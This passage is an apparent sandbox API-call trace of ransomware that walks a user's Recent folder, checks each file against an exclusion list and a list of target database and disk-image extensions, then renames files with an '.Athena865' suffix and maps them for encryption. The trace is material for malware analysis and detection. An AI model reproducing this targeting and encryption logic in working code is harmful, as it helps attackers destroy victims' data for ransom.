[0051.987] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\-xyaZA U2CnstOD2Db.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\-xyaza u2cnstod2db.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.987] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2703) returned 1 [0051.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.988] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.988] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.988] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.989] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd90, lpName=0x0) returned 0x154 [0051.989] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd90) returned 0x100000 [0051.989] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.990] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.990] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.990] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.990] CloseHandle (hObject=0x154) returned 1 [0051.991] CloseHandle (hObject=0x17c) returned 1 [0051.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.992] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2084de0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb2084de0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb2084de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0BDQB_ktEMwWI.mkv.lnk", cAlternateFileName="0BDQB_~1.LNK")) returned 1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2=".") returned 1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="..") returned 1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="windows") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="bootmgr") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="temp") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="pagefile.sys") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="boot") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="ids.txt") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="ntuser.dat") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="perflogs") returned -1 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2="MSBuild") returned -1 [0051.992] lstrlenW (lpString="0BDQB_ktEMwWI.mkv.lnk") returned 21 [0051.992] lstrcpyW (in: lpString1=0x241e8b4, lpString2="0BDQB_ktEMwWI.mkv.lnk" | out: lpString1="0BDQB_ktEMwWI.mkv.lnk") returned="0BDQB_ktEMwWI.mkv.lnk" [0051.992] lstrlenW (lpString="0BDQB_ktEMwWI.mkv.lnk") returned 21 [0051.992] lstrlenW (lpString="Athena865") returned 9 [0051.992] lstrcmpiW (lpString1="I.mkv.lnk", lpString2="Athena865") returned 1 [0051.992] lstrlenW (lpString=".dll") returned 4 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2=".dll") returned 1 [0051.992] lstrlenW (lpString=".lnk") returned 4 [0051.992] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2=".lnk") returned 1 [0051.992] lstrlenW (lpString=".ini") returned 4 [0051.993] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2=".ini") returned 1 [0051.993] lstrlenW (lpString=".sys") returned 4 [0051.993] lstrcmpiW (lpString1="0BDQB_ktEMwWI.mkv.lnk", lpString2=".sys") returned 1 [0051.993] lstrlenW (lpString="0BDQB_ktEMwWI.mkv.lnk") returned 21 [0051.993] lstrlenW (lpString="bak") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0051.993] lstrlenW (lpString="ba_") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0051.993] lstrlenW (lpString="dbb") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0051.993] lstrlenW (lpString="vmdk") returned 4 [0051.993] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0051.993] lstrlenW (lpString="rar") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0051.993] lstrlenW (lpString="zip") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0051.993] lstrlenW (lpString="tgz") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0051.993] lstrlenW (lpString="vbox") returned 4 [0051.993] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0051.993] lstrlenW (lpString="vdi") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0051.993] lstrlenW (lpString="vhd") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0051.993] lstrlenW (lpString="vhdx") returned 4 [0051.993] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0051.993] lstrlenW (lpString="avhd") returned 4 [0051.993] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0051.993] lstrlenW (lpString="db") returned 2 [0051.993] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0051.993] lstrlenW (lpString="db2") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0051.993] lstrlenW (lpString="db3") returned 3 [0051.993] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0051.994] lstrlenW (lpString="dbf") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0051.994] lstrlenW (lpString="mdf") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0051.994] lstrlenW (lpString="mdb") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0051.994] lstrlenW (lpString="sql") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0051.994] lstrlenW (lpString="sqlite") returned 6 [0051.994] lstrcmpiW (lpString1="kv.lnk", lpString2="sqlite") returned -1 [0051.994] lstrlenW (lpString="sqlite3") returned 7 [0051.994] lstrcmpiW (lpString1="mkv.lnk", lpString2="sqlite3") returned -1 [0051.994] lstrlenW (lpString="sqlitedb") returned 8 [0051.994] lstrcmpiW (lpString1=".mkv.lnk", lpString2="sqlitedb") returned -1 [0051.994] lstrlenW (lpString="xml") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0051.994] lstrlenW (lpString="$er") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0051.994] lstrlenW (lpString="4dd") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0051.994] lstrlenW (lpString="4dl") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0051.994] lstrlenW (lpString="^^^") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0051.994] lstrlenW (lpString="abs") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0051.994] lstrlenW (lpString="abx") returned 3 [0051.994] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0051.994] lstrlenW (lpString="accdb") returned 5 [0051.994] lstrcmpiW (lpString1="v.lnk", lpString2="accdb") returned 1 [0051.994] lstrlenW (lpString="accdc") returned 5 [0051.994] lstrcmpiW (lpString1="v.lnk", lpString2="accdc") returned 1 [0051.994] lstrlenW (lpString="accde") returned 5 [0051.994] lstrcmpiW (lpString1="v.lnk", lpString2="accde") returned 1 [0051.995] lstrlenW (lpString="accdr") returned 5 [0051.995] lstrcmpiW (lpString1="v.lnk", lpString2="accdr") returned 1 [0051.995] lstrlenW (lpString="accdt") returned 5 [0051.995] lstrcmpiW (lpString1="v.lnk", lpString2="accdt") returned 1 [0051.995] lstrlenW (lpString="accdw") returned 5 [0051.995] lstrcmpiW (lpString1="v.lnk", lpString2="accdw") returned 1 [0051.995] lstrlenW (lpString="accft") returned 5 [0051.995] lstrcmpiW (lpString1="v.lnk", lpString2="accft") returned 1 [0051.995] lstrlenW (lpString="adb") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.995] lstrlenW (lpString="adb") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.995] lstrlenW (lpString="ade") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0051.995] lstrlenW (lpString="adf") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0051.995] lstrlenW (lpString="adn") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0051.995] lstrlenW (lpString="adp") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0051.995] lstrlenW (lpString="alf") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0051.995] lstrlenW (lpString="ask") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0051.995] lstrlenW (lpString="btr") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0051.995] lstrlenW (lpString="cat") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0051.995] lstrlenW (lpString="cdb") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0051.995] lstrlenW (lpString="ckp") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0051.995] lstrlenW (lpString="cma") returned 3 [0051.995] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0051.995] lstrlenW (lpString="cpd") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0051.996] lstrlenW (lpString="dacpac") returned 6 [0051.996] lstrcmpiW (lpString1="kv.lnk", lpString2="dacpac") returned 1 [0051.996] lstrlenW (lpString="dad") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0051.996] lstrlenW (lpString="dadiagrams") returned 10 [0051.996] lstrcmpiW (lpString1="WI.mkv.lnk", lpString2="dadiagrams") returned 1 [0051.996] lstrlenW (lpString="daschema") returned 8 [0051.996] lstrcmpiW (lpString1=".mkv.lnk", lpString2="daschema") returned -1 [0051.996] lstrlenW (lpString="db-journal") returned 10 [0051.996] lstrcmpiW (lpString1="WI.mkv.lnk", lpString2="db-journal") returned 1 [0051.996] lstrlenW (lpString="db-shm") returned 6 [0051.996] lstrcmpiW (lpString1="kv.lnk", lpString2="db-shm") returned 1 [0051.996] lstrlenW (lpString="db-wal") returned 6 [0051.996] lstrcmpiW (lpString1="kv.lnk", lpString2="db-wal") returned 1 [0051.996] lstrlenW (lpString="dbc") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0051.996] lstrlenW (lpString="dbs") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0051.996] lstrlenW (lpString="dbt") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0051.996] lstrlenW (lpString="dbv") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0051.996] lstrlenW (lpString="dbx") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0051.996] lstrlenW (lpString="dcb") returned 3 [0051.996] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0051.996] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0BDQB_ktEMwWI.mkv.lnk.Athena865") returned 85 [0051.997] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0BDQB_ktEMwWI.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0bdqb_ktemwwi.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0BDQB_ktEMwWI.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0bdqb_ktemwwi.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0051.997] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0BDQB_ktEMwWI.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0bdqb_ktemwwi.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.998] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=594) returned 1 [0051.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.998] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.999] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.999] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.999] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0x154 [0051.999] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x100000 [0051.999] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.000] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.000] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.000] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.001] CloseHandle (hObject=0x154) returned 1 [0052.001] CloseHandle (hObject=0x17c) returned 1 [0052.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.002] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb193aa80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb193aa80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb193aa80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0c5kw1m6nMri2-3ecf.lnk", cAlternateFileName="0C5KW1~1.LNK")) returned 1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2=".") returned 1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="..") returned 1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="windows") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="bootmgr") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="temp") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="pagefile.sys") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="boot") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="ids.txt") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="ntuser.dat") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="perflogs") returned -1 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2="MSBuild") returned -1 [0052.002] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.lnk") returned 22 [0052.002] lstrcpyW (in: lpString1=0x241e8b4, lpString2="0c5kw1m6nMri2-3ecf.lnk" | out: lpString1="0c5kw1m6nMri2-3ecf.lnk") returned="0c5kw1m6nMri2-3ecf.lnk" [0052.002] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.lnk") returned 22 [0052.002] lstrlenW (lpString="Athena865") returned 9 [0052.002] lstrcmpiW (lpString1="-3ecf.lnk", lpString2="Athena865") returned -1 [0052.002] lstrlenW (lpString=".dll") returned 4 [0052.002] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2=".dll") returned 1 [0052.003] lstrlenW (lpString=".lnk") returned 4 [0052.003] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2=".lnk") returned 1 [0052.003] lstrlenW (lpString=".ini") returned 4 [0052.003] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2=".ini") returned 1 [0052.003] lstrlenW (lpString=".sys") returned 4 [0052.003] lstrcmpiW (lpString1="0c5kw1m6nMri2-3ecf.lnk", lpString2=".sys") returned 1 [0052.003] lstrlenW (lpString="0c5kw1m6nMri2-3ecf.lnk") returned 22 [0052.003] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0c5kw1m6nMri2-3ecf.lnk.Athena865") returned 86 [0052.003] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0c5kw1m6nMri2-3ecf.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0c5kw1m6nmri2-3ecf.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0c5kw1m6nMri2-3ecf.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0c5kw1m6nmri2-3ecf.lnk.athena865"), dwFlags=0x1) returned 1 [0052.004] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0c5kw1m6nMri2-3ecf.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0c5kw1m6nmri2-3ecf.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.004] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1050) returned 1 [0052.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.004] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.005] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.005] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.005] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x154 [0052.006] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x100000 [0052.006] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.006] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.006] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.007] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.007] CloseHandle (hObject=0x154) returned 1 [0052.007] CloseHandle (hObject=0x17c) returned 1 [0052.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.009] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b187e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb0b187e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb0b187e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0tnAHeA3v9Mw-E.lnk", cAlternateFileName="0TNAHE~1.LNK")) returned 1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2=".") returned 1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="..") returned 1 [0052.009] lstrcmpiW 